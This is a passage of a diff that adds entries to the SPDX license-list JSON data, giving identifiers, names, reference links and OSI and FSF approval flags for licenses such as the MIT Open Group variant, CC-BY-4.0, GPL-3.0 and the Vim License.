+ "reference": "https://spdx.org/licenses/MIT-open-group.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-open-group.json",
+ "referenceNumber": 282,
+ "name": "MIT Open Group variant",
+ "licenseId": "MIT-open-group",
+ "seeAlso": [
+ "https://gitlab.freedesktop.org/xorg/app/iceauth/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xvinfo/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xsetroot/-/blob/master/COPYING",
+ "https://gitlab.freedesktop.org/xorg/app/xauth/-/blob/master/COPYING"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AMDPLPA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AMDPLPA.json",
+ "referenceNumber": 283,
+ "name": "AMD\u0027s plpa_map.c License",
+ "licenseId": "AMDPLPA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AMD_plpa_map_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Condor-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Condor-1.1.json",
+ "referenceNumber": 284,
+ "name": "Condor Public License v1.1",
+ "licenseId": "Condor-1.1",
+ "seeAlso": [
+ "http://research.cs.wisc.edu/condor/license.html#condor",
+ "http://web.archive.org/web/20111123062036/http://research.cs.wisc.edu/condor/license.html#condor"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/PolyForm-Noncommercial-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PolyForm-Noncommercial-1.0.0.json",
+ "referenceNumber": 285,
+ "name": "PolyForm Noncommercial License 1.0.0",
+ "licenseId": "PolyForm-Noncommercial-1.0.0",
+ "seeAlso": [
+ "https://polyformproject.org/licenses/noncommercial/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Military-License.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Military-License.json",
+ "referenceNumber": 286,
+ "name": "BSD 3-Clause No Military License",
+ "licenseId": "BSD-3-Clause-No-Military-License",
+ "seeAlso": [
+ "https://gitlab.syncad.com/hive/dhive/-/blob/master/LICENSE",
+ "https://github.com/greymass/swift-eosio/blob/master/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-4.0.json",
+ "referenceNumber": 287,
+ "name": "Creative Commons Attribution 4.0 International",
+ "licenseId": "CC-BY-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/4.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-Canada-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-Canada-2.0.json",
+ "referenceNumber": 288,
+ "name": "Open Government Licence - Canada",
+ "licenseId": "OGL-Canada-2.0",
+ "seeAlso": [
+ "https://open.canada.ca/en/open-government-licence-canada"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-IGO.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-IGO.json",
+ "referenceNumber": 289,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 IGO",
+ "licenseId": "CC-BY-NC-SA-3.0-IGO",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/igo/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EFL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EFL-1.0.json",
+ "referenceNumber": 290,
+ "name": "Eiffel Forum License v1.0",
+ "licenseId": "EFL-1.0",
+ "seeAlso": [
+ "http://www.eiffel-nice.org/license/forum.txt",
+ "https://opensource.org/licenses/EFL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Newsletr.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Newsletr.json",
+ "referenceNumber": 291,
+ "name": "Newsletr License",
+ "licenseId": "Newsletr",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Newsletr"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/copyleft-next-0.3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/copyleft-next-0.3.0.json",
+ "referenceNumber": 292,
+ "name": "copyleft-next 0.3.0",
+ "licenseId": "copyleft-next-0.3.0",
+ "seeAlso": [
+ "https://github.com/copyleft-next/copyleft-next/blob/master/Releases/copyleft-next-0.3.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-or-later.json",
+ "referenceNumber": 293,
+ "name": "GNU General Public License v3.0 or later",
+ "licenseId": "GPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Permissive-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Permissive-2.0.json",
+ "referenceNumber": 294,
+ "name": "Community Data License Agreement Permissive 2.0",
+ "licenseId": "CDLA-Permissive-2.0",
+ "seeAlso": [
+ "https://cdla.dev/permissive-2-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-3.0.json",
+ "referenceNumber": 295,
+ "name": "Creative Commons Attribution No Derivatives 3.0 Unported",
+ "licenseId": "CC-BY-ND-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/C-UDA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/C-UDA-1.0.json",
+ "referenceNumber": 296,
+ "name": "Computational Use of Data Agreement v1.0",
+ "licenseId": "C-UDA-1.0",
+ "seeAlso": [
+ "https://github.com/microsoft/Computational-Use-of-Data-Agreement/blob/master/C-UDA-1.0.md",
+ "https://cdla.dev/computational-use-of-data-agreement-v1-0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Barr.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Barr.json",
+ "referenceNumber": 297,
+ "name": "Barr License",
+ "licenseId": "Barr",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Barr"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Vim.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Vim.json",
+ "referenceNumber": 298,
+ "name": "Vim License",
+ "licenseId": "Vim",
+ "seeAlso": [
+ "http://vimdoc.sourceforge.net/htmldoc/uganda.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-classpath-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-classpath-exception.json",
+ "referenceNumber": 299,
+ "name": "GNU General Public License v2.0 w/Classpath exception",
+ "licenseId": "GPL-2.0-with-classpath-exception",
+ "seeAlso": [
+ "https://www.gnu.org/software/classpath/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BitTorrent-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BitTorrent-1.1.json",
+ "referenceNumber": 300,
+ "name": "BitTorrent Open Source License v1.1",
+ "licenseId": "BitTorrent-1.1",
+ "seeAlso": [
+ "http://directory.fsf.org/wiki/License:BitTorrentOSL1.1"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDL-1.0.json",
+ "referenceNumber": 301,
+ "name": "Common Documentation License 1.0",
+ "licenseId": "CDL-1.0",
+ "seeAlso": [
+ "http://www.opensource.apple.com/cdl/",
+ "https://fedoraproject.org/wiki/Licensing/Common_Documentation_License",
+ "https://www.gnu.org/licenses/license-list.html#ACDL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-1.0.json",
+ "referenceNumber": 302,
+ "name": "Creative Commons Attribution Share Alike 1.0 Generic",
+ "licenseId": "CC-BY-SA-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ADSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ADSL.json",
+ "referenceNumber": 303,
+ "name": "Amazon Digital Services License",
+ "licenseId": "ADSL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AmazonDigitalServicesLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PostgreSQL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PostgreSQL.json",
+ "referenceNumber": 304,
+ "name": "PostgreSQL License",
+ "licenseId": "PostgreSQL",
+ "seeAlso": [
+ "http://www.postgresql.org/about/licence",
+ "https://opensource.org/licenses/PostgreSQL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1.json",
+ "referenceNumber": 305,
+ "name": "SIL Open Font License 1.1",
+ "licenseId": "OFL-1.1",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPL-1.0.json",
+ "referenceNumber": 306,
+ "name": "Netscape Public License v1.0",
+ "licenseId": "NPL-1.0",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/NPL/1.0/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/xinetd.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/xinetd.json",
+ "referenceNumber": 307,
+ "name": "xinetd License",
+ "licenseId": "xinetd",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Xinetd_License"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0-only.json",
+ "referenceNumber": 308,
+ "name": "GNU Library General Public License v2 only",
+ "licenseId": "LGPL-2.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/zlib-acknowledgement.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/zlib-acknowledgement.json",
+ "referenceNumber": 309,
+ "name": "zlib/libpng License with Acknowledgement",
+ "licenseId": "zlib-acknowledgement",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/ZlibWithAcknowledgement"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.1.json",
+ "referenceNumber": 310,
+ "name": "Open LDAP Public License v2.2.1",
+ "licenseId": "OLDAP-2.2.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d4bc786f34b50aa301be6f5600f58a980070f481e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.0.json",
+ "referenceNumber": 311,
+ "name": "Apple Public Source License 1.0",
+ "licenseId": "APSL-1.0",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Apple_Public_Source_License_1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-LBNL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-LBNL.json",
+ "referenceNumber": 312,
+ "name": "Lawrence Berkeley National Labs BSD variant license",
+ "licenseId": "BSD-3-Clause-LBNL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/LBNLBSD"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GLWTPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GLWTPL.json",
+ "referenceNumber": 313,
+ "name": "Good Luck With That Public License",
+ "licenseId": "GLWTPL",
+ "seeAlso": [
+ "https://github.com/me-shaon/GLWTPL/commit/da5f6bc734095efbacb442c0b31e33a65b9d6e85"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0-only.json",
+ "referenceNumber": 314,
+ "name": "GNU Lesser General Public License v3.0 only",
+ "licenseId": "LGPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGC-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGC-1.0.json",
+ "referenceNumber": 315,
+ "name": "OGC Software License, Version 1.0",
+ "licenseId": "OGC-1.0",
+ "seeAlso": [
+ "https://www.ogc.org/ogc/software/1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Dotseqn.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Dotseqn.json",
+ "referenceNumber": 316,
+ "name": "Dotseqn License",
+ "licenseId": "Dotseqn",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Dotseqn"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MakeIndex.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MakeIndex.json",
+ "referenceNumber": 317,
+ "name": "MakeIndex License",
+ "licenseId": "MakeIndex",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MakeIndex"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-only.json",
+ "referenceNumber": 318,
+ "name": "GNU General Public License v3.0 only",
+ "licenseId": "GPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License-2014.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License-2014.json",
+ "referenceNumber": 319,
+ "name": "BSD 3-Clause No Nuclear License 2014",
+ "licenseId": "BSD-3-Clause-No-Nuclear-License-2014",
+ "seeAlso": [
+ "https://java.net/projects/javaeetutorial/pages/BerkeleyLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0-only.json",
+ "referenceNumber": 320,
+ "name": "GNU General Public License v1.0 only",
+ "licenseId": "GPL-1.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IJG.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IJG.json",
+ "referenceNumber": 321,
+ "name": "Independent JPEG Group License",
+ "licenseId": "IJG",
+ "seeAlso": [
+ "http://dev.w3.org/cvsweb/Amaya/libjpeg/Attic/README?rev\u003d1.2"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0-or-later.json",
+ "referenceNumber": 322,
+ "name": "Affero General Public License v1.0 or later",
+ "licenseId": "AGPL-1.0-or-later",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1-no-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1-no-RFN.json",
+ "referenceNumber": 323,
+ "name": "SIL Open Font License 1.1 with no Reserved Font Name",
+ "licenseId": "OFL-1.1-no-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSL-1.0.json",
+ "referenceNumber": 324,
+ "name": "Boost Software License 1.0",
+ "licenseId": "BSL-1.0",
+ "seeAlso": [
+ "http://www.boost.org/LICENSE_1_0.txt",
+ "https://opensource.org/licenses/BSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Libpng.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Libpng.json",
+ "referenceNumber": 325,
+ "name": "libpng License",
+ "licenseId": "Libpng",
+ "seeAlso": [
+ "http://www.libpng.org/pub/png/src/libpng-LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-3.0.json",
+ "referenceNumber": 326,
+ "name": "Creative Commons Attribution Non Commercial 3.0 Unported",
+ "licenseId": "CC-BY-NC-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-2.0.json",
+ "referenceNumber": 327,
+ "name": "Creative Commons Attribution Non Commercial 2.0 Generic",
+ "licenseId": "CC-BY-NC-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unlicense.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unlicense.json",
+ "referenceNumber": 328,
+ "name": "The Unlicense",
+ "licenseId": "Unlicense",
+ "seeAlso": [
+ "https://unlicense.org/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPL-1.0.json",
+ "referenceNumber": 329,
+ "name": "Lucent Public License Version 1.0",
+ "licenseId": "LPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/LPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/bzip2-1.0.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/bzip2-1.0.5.json",
+ "referenceNumber": 330,
+ "name": "bzip2 and libbzip2 License v1.0.5",
+ "licenseId": "bzip2-1.0.5",
+ "seeAlso": [
+ "https://sourceware.org/bzip2/1.0.5/bzip2-manual-1.0.5.html",
+ "http://bzip.org/1.0.5/bzip2-manual-1.0.5.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Entessa.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Entessa.json",
+ "referenceNumber": 331,
+ "name": "Entessa Public License v1.0",
+ "licenseId": "Entessa",
+ "seeAlso": [
+ "https://opensource.org/licenses/Entessa"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-Patent.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-Patent.json",
+ "referenceNumber": 332,
+ "name": "BSD-2-Clause Plus Patent License",
+ "licenseId": "BSD-2-Clause-Patent",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSDplusPatent"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ECL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ECL-2.0.json",
+ "referenceNumber": 333,
+ "name": "Educational Community License v2.0",
+ "licenseId": "ECL-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/ECL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Crossword.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Crossword.json",
+ "referenceNumber": 334,
+ "name": "Crossword License",
+ "licenseId": "Crossword",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Crossword"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-1.0.json",
+ "referenceNumber": 335,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 1.0 Generic",
+ "licenseId": "CC-BY-NC-ND-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd-nc/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OCLC-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OCLC-2.0.json",
+ "referenceNumber": 336,
+ "name": "OCLC Research Public License 2.0",
+ "licenseId": "OCLC-2.0",
+ "seeAlso": [
+ "http://www.oclc.org/research/activities/software/license/v2final.htm",
+ "https://opensource.org/licenses/OCLC-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-1.1.json",
+ "referenceNumber": 337,
+ "name": "CeCILL Free Software License Agreement v1.1",
+ "licenseId": "CECILL-1.1",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V1.1-US.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-2.1.json",
+ "referenceNumber": 338,
+ "name": "CeCILL Free Software License Agreement v2.1",
+ "licenseId": "CECILL-2.1",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V2.1-en.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGDL-Taiwan-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGDL-Taiwan-1.0.json",
+ "referenceNumber": 339,
+ "name": "Taiwan Open Government Data License, version 1.0",
+ "licenseId": "OGDL-Taiwan-1.0",
+ "seeAlso": [
+ "https://data.gov.tw/license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Abstyles.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Abstyles.json",
+ "referenceNumber": 340,
+ "name": "Abstyles License",
+ "licenseId": "Abstyles",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Abstyles"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/libselinux-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libselinux-1.0.json",
+ "referenceNumber": 341,
+ "name": "libselinux public domain notice",
+ "licenseId": "libselinux-1.0",
+ "seeAlso": [
+ "https://github.com/SELinuxProject/selinux/blob/master/libselinux/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ANTLR-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ANTLR-PD.json",
+ "referenceNumber": 342,
+ "name": "ANTLR Software Rights Notice",
+ "licenseId": "ANTLR-PD",
+ "seeAlso": [
+ "http://www.antlr2.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-or-later.json",
+ "referenceNumber": 343,
+ "name": "GNU General Public License v2.0 or later",
+ "licenseId": "GPL-2.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/IPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IPL-1.0.json",
+ "referenceNumber": 344,
+ "name": "IBM Public License v1.0",
+ "licenseId": "IPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/IPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-enna.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-enna.json",
+ "referenceNumber": 345,
+ "name": "enna License",
+ "licenseId": "MIT-enna",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#enna"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPOL-1.02.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPOL-1.02.json",
+ "referenceNumber": 346,
+ "name": "Code Project Open License 1.02",
+ "licenseId": "CPOL-1.02",
+ "seeAlso": [
+ "http://www.codeproject.com/info/cpol10.aspx"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0-AT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0-AT.json",
+ "referenceNumber": 347,
+ "name": "Creative Commons Attribution Share Alike 3.0 Austria",
+ "licenseId": "CC-BY-SA-3.0-AT",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/at/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-with-GCC-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-with-GCC-exception.json",
+ "referenceNumber": 348,
+ "name": "GNU General Public License v3.0 w/GCC Runtime Library exception",
